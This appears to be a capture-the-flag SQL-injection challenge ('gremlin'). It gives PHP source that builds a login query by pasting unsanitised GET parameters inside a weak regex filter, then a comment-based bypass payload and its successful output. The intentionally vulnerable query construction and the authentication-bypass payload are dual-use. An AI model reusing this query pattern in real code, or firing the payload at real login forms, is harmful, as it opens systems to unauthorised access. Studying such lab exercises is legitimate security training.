include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "
query : {$query}
";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);
PAYLOAD: ?id=admin'-- -
OUTPUT: select id from prob_gremlin where id='admin'-- -' and pw='' Gremlin clear